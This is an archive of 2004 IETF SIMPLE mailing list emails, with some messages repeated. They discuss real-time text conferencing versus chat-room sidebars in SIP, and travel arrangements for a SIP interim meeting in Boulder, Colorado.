Message-ID: <BHEHLFPKIPMLPFNFAHJKKEGMDOAA.gunnar.hellstrom@omnitor.se>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <5.2.1.1.0.20040319121725.02eb0ad0@pop.mcit.com>
Importance: Normal
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 22:34:09 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Text conferencing does not need to be a sidebar.
I see text usage in a conference setting divided mainly in two variants.

1. Real time text in the main conference.
-------------------------------------------
There is a valid use of real time text as part of the main conference. That
is for all kinds of real time "subtitling" of a conference.

The reason may be that the audience is of mixed language background, and
need a typed translation while the main voice medium is left as it is.

Another reason may be that there are participants who cannot hear the
voice, and need to see it typed.

This type of text conferencing need to be real time, character by character
( or close to that ). Since it should flow together with other media in
real time, I think it is most natural to implement it with the text
transmitted as a streaming media in RTP, as specified by RFC2793 and
RFC2793bis, and initiated with the other real time media audio and video
with SDP at session initiation time.
It is the extension of the real time point to point call into the
multipoint world. The three natural media are video, text and audio.
One natural way to display it, if video is also included, is to display
text under the video image of the person sending the text, or the person
being text-interpreted.

2. Text Chat messaging in Chat rooms and sidebars
---------------------------------------------------
For the sidebar text Chat rooms, I would expect that the users often are
more happy to see the discussion message wise. They can then concentrate on
the main conference and occationally look at the sidebar if there are new
messages there. That would be the SIMPLE traditional IM view of text.


Would it be OK to use the term "text conferencing" for no 1, and "Chat
rooms" for no 2 ?
I expect XCON to mainly concentrate on no 1, and SIMPLE on no. 2. Therefore
I post this to both groups.

Regards

Gunnar

-------------------------------------------
Gunnar Hellstrom
Omnitor AB
Renathvagen 2
SE 121 37 Johanneshov
SWEDEN
+46 8 556 002 03
Mob: +46 708 204 288
www.omnitor.se
Gunnar.Hellstrom@Omnitor.se
--------------------------------------------


> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> Alan Johnston
> Sent: Friday, March 19, 2004 7:21 PM
> To: Rosen, Brian; 'Paul Kyzivat'; Niemi Aki (Nokia-M/Espoo)
> Subject: [Simple] RE: Chat sessions
>
>
> As a result of this thread, in Korea, a group of us (roughly
> myself, Brian,
> Hisham, Aki, Paul, Markus - apologies to others who I might have
> forgotten)
> met to discuss "chat rooms" and text conferencing.
>
> Here is what the consensus of the participants was:
>
> There is a need to document aspects of "chat rooms" or text
> conferencing.
>
> There seems to be a need to have a request/response kind of
> subset of conferencing (sidebar) AS WELL AS an immediate
> no request/response subset of conferencing (private message /
> whisper).  This need is not specific to media, although the
> exact mechanism to establish it might be media dependent.
> Media Policy is a media independent mechanism, but others
> may be more appropriate, especially for IM.  This work
> will at least begin in XCON.
>
> In addition, the absence of an ability to express a nickname
> in SIP was identified as an area for future SIP work.
>
> Thanks,
> Alan Johnston
> MCI
> sip:alan@sipstation.com
>
> At 08:07 PM 3/2/2004 -0500, Rosen, Brian wrote:
> >How are we going to resolve this?
> >
> >Most of us are here.  Can we get together?
> >
> >Brian
> >
> > > -----Original Message-----
> > > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > > Sent: Tuesday, March 02, 2004 6:44 PM
> > > To: Niemi Aki (Nokia-M/Espoo)
> > > Cc: ext Rosen, Brian; ext Jonathan Rosenberg;
> > > Markus.Isomaki@nokia.com;
> > > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> > > simple@ietf.org
> > > Subject: Re: [Simple] Chat sessions
> > >
> > >
> > >
> > >
> > > Niemi Aki (Nokia-M/Espoo) wrote:
> > > >
> > > >>> Of course you can't do private messages with voice. Voice
> > > and IM are
> > > >>> inherently different. You can't send private voice
> > > packets to another
> > > >>> participant of a conference, simply because there isn't a way to
> > > >>> single out a participant in a conference by directly addressing
> > > >>> packets there. It also makes mixing really complicated, because a
> > > >>> private voice stream might overlap with the rest of the
> > > conference.
> > > >>> These don't present a problem for IM; the sender can
> > > single out the
> > > >>> recipient using the cpim To header field and the recipient UA can
> > > >>> simply mark a message as private and render it to the
> > > same UI as the
> > > >>> rest of the IMs in that conference.
> > > >>
> > > >> I protest.  There is no logical difference.  There is no protocol
> > > >> difference.  In most cases, there is no practical difference.  You
> > > >> send media to some address, you get media from some address.  You
> > > >> render it.  IM or voice or video is all just media, and
> its handled
> > > >> the same way.  You might have "centralized" or
> > > "distributed" mixers.
> > > >> Most IM systems, as implemented, are centralized mixers.  You send
> > > >> all media to the mixer, it sends media to you.  There is nothing
> > > >> special with IM.  You need some signaling for a private message.
> > > >> You can use the same signaling for a sidebar or a whisper.
> > > >
> > > > Hmm.. which systems are these? The ones I've used have both private
> > > > messages *and* sidebars.
> > >
> > > It seems that in principle the difference between sidebars
> > > and private
> > > messages is simply one of UI design. A particular client
> > > could support
> > > one or the other, or both.
> > >
> > > But you also seem to require that the initiator be able to
> > > choose which
> > > user experience the recipients will have. That turns it into
> > > a protocol
> > > issue. In general I would consider this a bad idea. But it is
> > > largely a
> > > human factors issue, and I don't feel qualified to comment on
> > > it except
> > > from the perspective of personal preference. But it seems that whole
> > > discussion hinges on whether there is a valid requirement for giving
> > > senders that degree of control over recipients.
> > >
> > >       Paul
> > >
> >
> >_______________________________________________
> >Simple mailing list
> >Simple@ietf.org
> >https://www1.ietf.org/mailman/listinfo/simple
>
>
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 22 16:40:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26364
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 16:40:11 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5X94-0004NT-Im
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 16:39:43 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MLdgRd016826
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 16:39:42 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5X94-0004NJ-EE
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 16:39:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26290
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 16:39:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X92-0002R5-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 16:39:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5X82-0002Cm-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 16:38:39 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X6Y-0001sD-00; Mon, 22 Mar 2004 16:37:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B5X6Y-0000Kv-Tn; Mon, 22 Mar 2004 16:37:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5X6T-0003l8-LP; Mon, 22 Mar 2004 16:37:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5X5X-0003ft-UG
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 16:36:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25873
	for <simple@ietf.org>; Mon, 22 Mar 2004 16:36:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X5V-0001f5-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:36:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5X4J-0001Wc-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:34:48 -0500
Received: from [195.7.64.137] (helo=mail3.pi.se ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X3o-0001R7-00; Mon, 22 Mar 2004 16:34:17 -0500
Received: from vit (h53n2fls31o265.telia.com [217.208.189.53])
	(authenticated (0 bits))
	by mail3.pi.se (8.12.10/8.11.2) with ESMTP id i2MLVfLX029511;
	Mon, 22 Mar 2004 22:31:43 +0100 (CET)
From: "Gunnar Hellstrom" <gunnar.hellstrom@omnitor.se>
To: "XCON" <xcon@ietf.org>, "SIMPLE" <simple@ietf.org>,
        "Alan Johnston" <alan.johnston@mci.com>,
        "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        "Niemi Aki \(Nokia-M/Espoo\)" <aki.niemi@nokia.com>
Subject: RE: [Simple] RE: Chat sessions
Message-ID: <BHEHLFPKIPMLPFNFAHJKKEGMDOAA.gunnar.hellstrom@omnitor.se>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <5.2.1.1.0.20040319121725.02eb0ad0@pop.mcit.com>
Importance: Normal
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 22:34:09 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Text conferencing does not need to be a sidebar.
I see text usage in a conference setting divided mainly in two variants.

1. Real time text in the main conference.
-------------------------------------------
There is a valid use of real time text as part of the main conference. That
is for all kinds of real time "subtitling" of a conference.

The reason may be that the audience is of mixed language background, and
need a typed translation while the main voice medium is left as it is.

Another reason may be that there are participants who cannot hear the
voice, and need to see it typed.

This type of text conferencing need to be real time, character by character
( or close to that ). Since it should flow together with other media in
real time, I think it is most natural to implement it with the text
transmitted as a streaming media in RTP, as specified by RFC2793 and
RFC2793bis, and initiated with the other real time media audio and video
with SDP at session initiation time.
It is the extension of the real time point to point call into the
multipoint world. The three natural media are video, text and audio.
One natural way to display it, if video is also included, is to display
text under the video image of the person sending the text, or the person
being text-interpreted.

2. Text Chat messaging in Chat rooms and sidebars
---------------------------------------------------
For the sidebar text Chat rooms, I would expect that the users often are
more happy to see the discussion message wise. They can then concentrate on
the main conference and occationally look at the sidebar if there are new
messages there. That would be the SIMPLE traditional IM view of text.


Would it be OK to use the term "text conferencing" for no 1, and "Chat
rooms" for no 2 ?
I expect XCON to mainly concentrate on no 1, and SIMPLE on no. 2. Therefore
I post this to both groups.

Regards

Gunnar

-------------------------------------------
Gunnar Hellstrom
Omnitor AB
Renathvagen 2
SE 121 37 Johanneshov
SWEDEN
+46 8 556 002 03
Mob: +46 708 204 288
www.omnitor.se
Gunnar.Hellstrom@Omnitor.se
--------------------------------------------


> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> Alan Johnston
> Sent: Friday, March 19, 2004 7:21 PM
> To: Rosen, Brian; 'Paul Kyzivat'; Niemi Aki (Nokia-M/Espoo)
> Subject: [Simple] RE: Chat sessions
>
>
> As a result of this thread, in Korea, a group of us (roughly
> myself, Brian,
> Hisham, Aki, Paul, Markus - apologies to others who I might have
> forgotten)
> met to discuss "chat rooms" and text conferencing.
>
> Here is what the consensus of the participants was:
>
> There is a need to document aspects of "chat rooms" or text
> conferencing.
>
> There seems to be a need to have a request/response kind of
> subset of conferencing (sidebar) AS WELL AS an immediate
> no request/response subset of conferencing (private message /
> whisper).  This need is not specific to media, although the
> exact mechanism to establish it might be media dependent.
> Media Policy is a media independent mechanism, but others
> may be more appropriate, especially for IM.  This work
> will at least begin in XCON.
>
> In addition, the absence of an ability to express a nickname
> in SIP was identified as an area for future SIP work.
>
> Thanks,
> Alan Johnston
> MCI
> sip:alan@sipstation.com
>
> At 08:07 PM 3/2/2004 -0500, Rosen, Brian wrote:
> >How are we going to resolve this?
> >
> >Most of us are here.  Can we get together?
> >
> >Brian
> >
> > > -----Original Message-----
> > > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > > Sent: Tuesday, March 02, 2004 6:44 PM
> > > To: Niemi Aki (Nokia-M/Espoo)
> > > Cc: ext Rosen, Brian; ext Jonathan Rosenberg;
> > > Markus.Isomaki@nokia.com;
> > > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> > > simple@ietf.org
> > > Subject: Re: [Simple] Chat sessions
> > >
> > >
> > >
> > >
> > > Niemi Aki (Nokia-M/Espoo) wrote:
> > > >
> > > >>> Of course you can't do private messages with voice. Voice
> > > and IM are
> > > >>> inherently different. You can't send private voice
> > > packets to another
> > > >>> participant of a conference, simply because there isn't a way to
> > > >>> single out a participant in a conference by directly addressing
> > > >>> packets there. It also makes mixing really complicated, because a
> > > >>> private voice stream might overlap with the rest of the
> > > conference.
> > > >>> These don't present a problem for IM; the sender can
> > > single out the
> > > >>> recipient using the cpim To header field and the recipient UA can
> > > >>> simply mark a message as private and render it to the
> > > same UI as the
> > > >>> rest of the IMs in that conference.
> > > >>
> > > >> I protest.  There is no logical difference.  There is no protocol
> > > >> difference.  In most cases, there is no practical difference.  You
> > > >> send media to some address, you get media from some address.  You
> > > >> render it.  IM or voice or video is all just media, and
> its handled
> > > >> the same way.  You might have "centralized" or
> > > "distributed" mixers.
> > > >> Most IM systems, as implemented, are centralized mixers.  You send
> > > >> all media to the mixer, it sends media to you.  There is nothing
> > > >> special with IM.  You need some signaling for a private message.
> > > >> You can use the same signaling for a sidebar or a whisper.
> > > >
> > > > Hmm.. which systems are these? The ones I've used have both private
> > > > messages *and* sidebars.
> > >
> > > It seems that in principle the difference between sidebars
> > > and private
> > > messages is simply one of UI design. A particular client
> > > could support
> > > one or the other, or both.
> > >
> > > But you also seem to require that the initiator be able to
> > > choose which
> > > user experience the recipients will have. That turns it into
> > > a protocol
> > > issue. In general I would consider this a bad idea. But it is
> > > largely a
> > > human factors issue, and I don't feel qualified to comment on
> > > it except
> > > from the perspective of personal preference. But it seems that whole
> > > discussion hinges on whether there is a valid requirement for giving
> > > senders that degree of control over recipients.
> > >
> > >       Paul
> > >
> >
> >_______________________________________________
> >Simple mailing list
> >Simple@ietf.org
> >https://www1.ietf.org/mailman/listinfo/simple
>
>
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 22 16:51:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27045
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 16:51:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5XKk-00047C-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 16:51:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5XJr-0003zo-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 16:50:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5XJ8-0003t4-00; Mon, 22 Mar 2004 16:50:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5XJ3-00059K-P3; Mon, 22 Mar 2004 16:50:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WbZ-0000OP-Ed
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 16:05:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21490
	for <simple@ietf.org>; Mon, 22 Mar 2004 16:05:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WbX-0003m8-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:05:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5WZc-0003IH-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:03:06 -0500
Received: from host-208-9-212-207.guardent.com ([208.9.212.207] helo=pro1wnexc01.guardent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WXJ-0002WA-00; Mon, 22 Mar 2004 16:00:41 -0500
Received: by pro1wnexc01.guardent.com with Internet Mail Service (5.5.2653.19)
	id <HNALKZZ2>; Mon, 22 Mar 2004 15:59:58 -0500
Message-ID: <6A8CA21E339F634E96E13AB97D7322757FF2F1@pro1wnexc01.guardent.com>
From: "Hannigan, Martin" <hannigan@verisign.com>
To: "'jmpolk@cisco.com'" <jmpolk@cisco.com>,
        "'sipping@ietf.org'"
	 <sipping@ietf.org>
Cc: "'sip@ietf.org'" <sip@ietf.org>, "'simple@ietf.org'" <simple@ietf.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [Simple] Re: [Sip] RE: [Sipping] Proposed dates for SIPish interim meeting
 s
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 15:59:52 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60

Hotels should run abot 100 US mostly clean motel style. Boulder has cabs and
some public trans. Not great if you are in a remote area. 

The airport code is DIA.  

Adjacent towns are  Westminster and Louisville. 

Personally, I'd suggest Boston or VA. Boulder works for me as well. 

 



---
Martin Hannigan                            F:617-456-0500
Verisign, Inc.                             C:617-388-2663
Operations & Infrastructure                W:703-948-7018
Engineer IV                                http://www.verisign.com/


-----Original Message-----
From: James M. Polk <jmpolk@cisco.com>
To: sipping@ietf.org <sipping@ietf.org>
CC: sip@ietf.org <sip@ietf.org>; simple@ietf.org <simple@ietf.org>
Sent: Mon Mar 22 11:10:45 2004
Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings

At 08:35 PM 3/22/2004 +0200, Romascanu, Dan (Dan) wrote:
>British Airways is another company that I am aware about, operating daily 
>flights from London, Heathrow to Denver and return.

Denver is a big United Airlines hub - they probably fly to somewhere in 
Europe as well (likely London).

Boulder is a ~ 45 minutes drive from Denver Airport (with no traffic that 
is  ;-)


>Regards,
>
>Dan
>
>
>
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf
> > Of Kozdon, Peter
> > Sent: 22 March, 2004 7:55 PM
> > To: 'john.loughney@nokia.com'; dean.willis@softarmor.com;
> > sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> >
> > The closest airport is Denver International (45 minutes
> > drive)  - there is
> > at least 1 direct flight from Europe (LH via Frankfurt)
> >
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
> > john.loughney@nokia.com
> > Sent: Sunday, March 21, 2004 10:13 PM
> > To: dean.willis@softarmor.com; sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> > Dean,
> >
> > > As I understand it, the leading candidate for venue is the
> > Boulderama
> > > in Boulder, Colorado. Rohan's current proposal is to ask
> > each attendee
> > > to contribute $50 toward meeting fees (princiaplly, renting
> > the room).
> > > Of course, if somebody wants to sponsor the meeting and pick up the
> >
> > Is there an option of someone hosting the meeting?  This is probably
> > easier to do than finding someone to foot the bill.
> >
> > Also, Boulder is 3 to 4 hops away from Europe, which seems
> > sub-optimal ...
> >
> > John
> >
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol Use
> > sip-implementors@cs.columbia.edu for questions on current sip Use
> > sipping@ietf.org for new developments on the application of sip
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip
> >
>
>_______________________________________________
>Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
>This list is for NEW development of the core SIP Protocol
>Use sip-implementors@cs.columbia.edu for questions on current sip
>Use sipping@ietf.org for new developments on the application of sip


cheers,
James

                                *******************
                 Truth is not to be argued... it is to be presented


_______________________________________________
Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
This list is for NEW development of the core SIP Protocol
Use sip-implementors@cs.columbia.edu for questions on current sip
Use sipping@ietf.org for new developments on the application of sip

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 22 16:52:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27135
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 16:52:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5XKt-0005G2-Bd
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 16:51:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MLpsHe020206
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 16:51:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5XKo-0005Fp-Jy
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 16:51:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27054
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 16:51:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5XKl-00047L-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 16:51:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5XJs-0003zx-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 16:50:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5XJ8-0003t4-00; Mon, 22 Mar 2004 16:50:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5XJ3-00059K-P3; Mon, 22 Mar 2004 16:50:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WbZ-0000OP-Ed
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 16:05:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21490
	for <simple@ietf.org>; Mon, 22 Mar 2004 16:05:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WbX-0003m8-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:05:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5WZc-0003IH-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:03:06 -0500
Received: from host-208-9-212-207.guardent.com ([208.9.212.207] helo=pro1wnexc01.guardent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WXJ-0002WA-00; Mon, 22 Mar 2004 16:00:41 -0500
Received: by pro1wnexc01.guardent.com with Internet Mail Service (5.5.2653.19)
	id <HNALKZZ2>; Mon, 22 Mar 2004 15:59:58 -0500
Message-ID: <6A8CA21E339F634E96E13AB97D7322757FF2F1@pro1wnexc01.guardent.com>
From: "Hannigan, Martin" <hannigan@verisign.com>
To: "'jmpolk@cisco.com'" <jmpolk@cisco.com>,
        "'sipping@ietf.org'"
	 <sipping@ietf.org>
Cc: "'sip@ietf.org'" <sip@ietf.org>, "'simple@ietf.org'" <simple@ietf.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [Simple] Re: [Sip] RE: [Sipping] Proposed dates for SIPish interim meeting
 s
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 15:59:52 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60

Hotels should run abot 100 US mostly clean motel style. Boulder has cabs and
some public trans. Not great if you are in a remote area. 

The airport code is DIA.  

Adjacent towns are  Westminster and Louisville. 

Personally, I'd suggest Boston or VA. Boulder works for me as well. 

 



---
Martin Hannigan                            F:617-456-0500
Verisign, Inc.                             C:617-388-2663
Operations & Infrastructure                W:703-948-7018
Engineer IV                                http://www.verisign.com/


-----Original Message-----
From: James M. Polk <jmpolk@cisco.com>
To: sipping@ietf.org <sipping@ietf.org>
CC: sip@ietf.org <sip@ietf.org>; simple@ietf.org <simple@ietf.org>
Sent: Mon Mar 22 11:10:45 2004
Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings

At 08:35 PM 3/22/2004 +0200, Romascanu, Dan (Dan) wrote:
>British Airways is another company that I am aware about, operating daily 
>flights from London, Heathrow to Denver and return.

Denver is a big United Airlines hub - they probably fly to somewhere in 
Europe as well (likely London).

Boulder is a ~ 45 minutes drive from Denver Airport (with no traffic that 
is  ;-)


>Regards,
>
